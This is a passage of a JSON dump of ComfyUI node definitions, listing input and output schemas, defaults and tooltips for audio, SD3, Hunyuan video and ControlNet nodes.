"output_matchtypes": null, "name": "EmptyLatentAudio", "display_name": "Empty Latent Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": "Audio", "has_intermediate_output": false}, "VAEEncodeAudio": {"input": {"required": {"audio": ["AUDIO", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["audio", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEEncodeAudio", "display_name": "VAE Encode Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["audio to latent"], "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeAudio": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["samples", "vae"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeAudio", "display_name": "VAE Decode Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["latent to audio"], "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeAudioTiled": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {}], "tile_size": ["INT", {"default": 512, "min": 32, "max": 8192, "step": 8}], "overlap": ["INT", {"default": 64, "min": 0, "max": 1024, "step": 8}]}}, "input_order": {"required": ["samples", "vae", "tile_size", "overlap"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeAudioTiled", "display_name": "VAE Decode Audio (Tiled)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["latent to audio"], "essentials_category": null, "has_intermediate_output": false}, "SaveAudio": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudio", "display_name": "Save Audio (FLAC) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export flac"], "essentials_category": "Audio", "has_intermediate_output": false}, "SaveAudioMP3": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}], "quality": ["COMBO", {"default": "V0", "multiselect": false, "options": ["V0", "128k", "320k"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "quality"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioMP3", "display_name": "Save Audio (MP3) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export mp3"], "essentials_category": "Audio", "has_intermediate_output": false}, "SaveAudioOpus": {"input": {"required": {"audio": ["AUDIO", {}], "filename_prefix": ["STRING", {"default": "audio/ComfyUI", "multiline": false}], "quality": ["COMBO", {"default": "128k", "multiselect": false, "options": ["64k", "96k", "128k", "192k", "320k"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "quality"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioOpus", "display_name": "Save Audio (Opus) (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export opus"], "essentials_category": null, "has_intermediate_output": false}, "SaveAudioAdvanced": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "The audio to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. May include formatting tokens such as %date:yyyy-MM-dd%.", "default": "audio/ComfyUI", "multiline": false}], "format": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The file format in which to save the audio.", "options": [{"key": "flac", "inputs": {"required": {}}}, {"key": "mp3", "inputs": {"required": {"quality": ["COMBO", {"default": "V0", "multiselect": false, "options": ["V0", "128k", "320k"]}]}}}, {"key": "opus", "inputs": {"required": {"quality": ["COMBO", {"default": "128k", "multiselect": false, "options": ["64k", "96k", "128k", "192k", "320k"]}]}}}]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio", "filename_prefix", "format"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAudioAdvanced", "display_name": "Save Audio (Advanced)", "description": "Saves the input audio to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save audio", "export audio", "output audio", "write audio", "flac", "mp3", "opus"], "essentials_category": null, "has_intermediate_output": false}, "LoadAudio": {"input": {"required": {"audio": ["COMBO", {"multiselect": false, "options": [], "audio_upload": true}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadAudio", "display_name": "Load Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import audio", "open audio", "audio file"], "essentials_category": "Audio", "has_intermediate_output": false}, "PreviewAudio": {"input": {"required": {"audio": ["AUDIO", {}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["audio"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "PreviewAudio", "display_name": "Preview Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["play audio"], "essentials_category": null, "has_intermediate_output": false}, "ConditioningStableAudio": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "seconds_start": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1000.0, "step": 0.1}], "seconds_total": ["FLOAT", {"default": 47.0, "min": 0.0, "max": 1000.0, "step": 0.1}]}}, "input_order": {"required": ["positive", "negative", "seconds_start", "seconds_total"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ConditioningStableAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_audio", "category": "model/conditioning/stable audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecordAudio": {"input": {"required": {"audio": ["AUDIO_RECORD", {}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecordAudio", "display_name": "Record Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["microphone input", "audio capture", "voice input"], "essentials_category": null, "has_intermediate_output": false}, "TrimAudioDuration": {"input": {"required": {"audio": ["AUDIO", {}], "start_index": ["FLOAT", {"tooltip": "Start time in seconds, can be negative to count from the end (supports sub-seconds).", "default": 0.0, "min": -18446744073709551615, "max": 18446744073709551615, "step": 0.01}], "duration": ["FLOAT", {"tooltip": "Duration in seconds", "default": 60.0, "min": 0.0, "step": 0.01}]}}, "input_order": {"required": ["audio", "start_index", "duration"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TrimAudioDuration", "display_name": "Trim Audio Duration", "description": "Trim audio tensor into chosen time range.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["cut audio", "audio clip", "shorten audio"], "essentials_category": null, "has_intermediate_output": false}, "SplitAudioChannels": {"input": {"required": {"audio": ["AUDIO", {}]}}, "input_order": {"required": ["audio"]}, "is_input_list": false, "output": ["AUDIO", "AUDIO"], "output_is_list": [false, false], "output_name": ["left", "right"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitAudioChannels", "display_name": "Split Audio Channels", "description": "Separates the audio into left and right channels.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["stereo to mono"], "essentials_category": null, "has_intermediate_output": false}, "JoinAudioChannels": {"input": {"required": {"audio_left": ["AUDIO", {}], "audio_right": ["AUDIO", {}]}}, "input_order": {"required": ["audio_left", "audio_right"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "JoinAudioChannels", "display_name": "Join Audio Channels", "description": "Joins left and right mono audio channels into a stereo audio.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AudioConcat": {"input": {"required": {"audio1": ["AUDIO", {}], "audio2": ["AUDIO", {}], "direction": ["COMBO", {"tooltip": "Whether to append audio2 after or before audio1.", "default": "after", "multiselect": false, "options": ["after", "before"]}]}}, "input_order": {"required": ["audio1", "audio2", "direction"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioConcat", "display_name": "Concatenate Audio", "description": "Concatenates the audio1 to audio2 in the specified direction.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["join audio", "combine audio", "append audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioMerge": {"input": {"required": {"audio1": ["AUDIO", {}], "audio2": ["AUDIO", {}], "merge_method": ["COMBO", {"tooltip": "The method used to combine the audio waveforms.", "multiselect": false, "options": ["add", "mean", "subtract", "multiply"]}]}}, "input_order": {"required": ["audio1", "audio2", "merge_method"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioMerge", "display_name": "Merge Audio", "description": "Combine two audio tracks by overlaying their waveforms.", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mix audio", "overlay audio", "layer audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioAdjustVolume": {"input": {"required": {"audio": ["AUDIO", {}], "volume": ["INT", {"tooltip": "Volume adjustment in decibels (dB). 0 = no change, +6 = double, -6 = half, etc", "default": 1, "min": -100, "max": 100}]}}, "input_order": {"required": ["audio", "volume"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioAdjustVolume", "display_name": "Adjust Audio Volume", "description": "Adjust the volume of the audio by a specified amount in decibels (dB).", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["audio gain", "loudness", "audio level"], "essentials_category": null, "has_intermediate_output": false}, "EmptyAudio": {"input": {"required": {"duration": ["FLOAT", {"tooltip": "Duration of the empty audio clip in seconds", "default": 60.0, "min": 0.0, "max": 18446744073709551615, "step": 0.01}], "sample_rate": ["INT", {"tooltip": "Sample rate of the empty audio clip.", "advanced": true, "default": 44100, "min": 1, "max": 192000}], "channels": ["INT", {"tooltip": "Number of audio channels (1 for mono, 2 for stereo).", "advanced": true, "default": 2, "min": 1, "max": 2}]}}, "input_order": {"required": ["duration", "sample_rate", "channels"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAudio", "display_name": "Empty Audio", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["blank audio"], "essentials_category": null, "has_intermediate_output": false}, "AudioEqualizer3Band": {"input": {"required": {"audio": ["AUDIO", {}], "low_gain_dB": ["FLOAT", {"tooltip": "Gain for Low frequencies (Bass)", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "low_freq": ["INT", {"tooltip": "Cutoff frequency for Low shelf", "default": 100, "min": 20, "max": 500}], "mid_gain_dB": ["FLOAT", {"tooltip": "Gain for Mid frequencies", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "mid_freq": ["INT", {"tooltip": "Center frequency for Mids", "default": 1000, "min": 200, "max": 4000}], "mid_q": ["FLOAT", {"tooltip": "Q factor (bandwidth) for Mids", "default": 0.707, "min": 0.1, "max": 10.0, "step": 0.1}], "high_gain_dB": ["FLOAT", {"tooltip": "Gain for High frequencies (Treble)", "default": 0.0, "min": -24.0, "max": 24.0, "step": 0.1}], "high_freq": ["INT", {"tooltip": "Cutoff frequency for High shelf", "default": 5000, "min": 1000, "max": 15000}]}}, "input_order": {"required": ["audio", "low_gain_dB", "low_freq", "mid_gain_dB", "mid_freq", "mid_q", "high_gain_dB", "high_freq"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "AudioEqualizer3Band", "display_name": "Audio Equalizer (3-Band)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["eq", "bass boost", "treble boost", "equalizer"], "essentials_category": null, "has_intermediate_output": false}, "TripleCLIPLoader": {"input": {"required": {"clip_name1": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name2": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name3": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripleCLIPLoader", "display_name": "Load CLIP (Triple)", "description": "Recipes:\nsd3: clip-l, clip-g, t5", "python_module": "comfy_extras.nodes_sd3", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptySD3LatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptySD3LatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/latent/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSD3": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "empty_padding": ["COMBO", {"advanced": true, "multiselect": false, "options": ["none", "empty_prompt"]}]}}, "input_order": {"required": ["clip", "clip_l", "clip_g", "t5xxl", "empty_padding"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSD3", "display_name": "CLIP Text Encode (SD3)", "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sd3 prompt"], "essentials_category": null, "has_intermediate_output": false}, "ControlNetApplySD3": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "control_net": ["CONTROL_NET", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["positive", "negative", "control_net", "vae", "image", "strength", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ControlNetApplySD3", "display_name": "Apply Controlnet with VAE", "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceSD3": {"input": {"required": {"model": ["MODEL", {}], "layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 10.0, "step": 0.1}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.01, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "layers", "scale", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceSD3", "display_name": null, "description": "Generic version of SkipLayerGuidance node that can be used on every DiT model.", "python_module": "comfy_extras.nodes_sd3", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GITSScheduler": {"input": {"required": {"coeff": ["FLOAT", {"advanced": true, "default": 1.2, "min": 0.8, "max": 1.5, "step": 0.05}], "steps": ["INT", {"default": 10, "min": 2, "max": 1000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["coeff", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "GITSScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_gits", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SetUnionControlNetType": {"input": {"required": {"control_net": ["CONTROL_NET", {}], "type": ["COMBO", {"multiselect": false, "options": ["auto", "openpose", "depth", "hed/pidi/scribble/ted", "canny/lineart/anime_lineart/mlsd", "normal", "segment", "tile", "repaint"]}]}}, "input_order": {"required": ["control_net", "type"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "output_tooltips": [null], "output_matchtypes": null, "name": "SetUnionControlNetType", "display_name": "Set Union ControlNet Type", "description": "", "python_module": "comfy_extras.nodes_controlnet", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["set controlnet type", "union controlnet type"], "essentials_category": null, "has_intermediate_output": false}, "ControlNetInpaintingAliMamaApply": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "control_net": ["CONTROL_NET", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "mask": ["MASK", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["positive", "negative", "control_net", "vae", "image", "mask", "strength", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ControlNetInpaintingAliMamaApply", "display_name": "Apply ControlNet Inpainting (AliMama)", "description": "", "python_module": "comfy_extras.nodes_controlnet", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["masked controlnet"], "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeHunyuanDiT": {"input": {"required": {"clip": ["CLIP", {}], "bert": ["STRING", {"multiline": true, "dynamicPrompts": true}], "mt5xl": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "bert", "mt5xl"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeHunyuanDiT", "display_name": "CLIP Text Encode (Hunyuan Image)", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeHunyuanVideo_ImageToVideo": {"input": {"required": {"clip": ["CLIP", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "image_interleave": ["INT", {"tooltip": "How much the image influences things vs the text prompt. Higher number means more influence from the text prompt.", "advanced": true, "default": 2, "min": 1, "max": 512}]}}, "input_order": {"required": ["clip", "clip_vision_output", "prompt", "image_interleave"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeHunyuanVideo_ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanLatentVideo": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanLatentVideo", "display_name": "Empty HunyuanVideo 1.0 Latent", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanVideo15Latent": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanVideo15Latent", "display_name": "Empty HunyuanVideo 1.5 Latent", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15ImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 33, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanVideo15ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15SuperResolution": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.7, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"vae": ["VAE", {}], "start_image": ["IMAGE", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "latent", "noise_augmentation"], "optional": ["vae", "start_image", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanVideo15SuperResolution", "display_name": "Hunyuan Video 1.5 Super Resolution", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15LatentUpscaleWithModel": {"input": {"required": {"model": ["LATENT_UPSCALE_MODEL", {}], "samples": ["LATENT", {}], "upscale_method": ["COMBO", {"default": "bilinear", "multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "bislerp"]}], "width": ["INT", {"default": 1280, "min": 0, "max": 16384, "step": 8}], "height": ["INT", {"default": 720, "min": 0, "max": 16384, "step": 8}], "crop": ["COMBO", {"multiselect": false, "options": ["disabled", "center"]}]}}, "input_order": {"required": ["model", "samples", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "HunyuanVideo15LatentUpscaleWithModel", "display_name": "Hunyuan Video 15 Latent Upscale With Model", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyhuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentUpscaleModelLoader": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["LATENT_UPSCALE_MODEL"], "output_is_list": [false], "output_name": 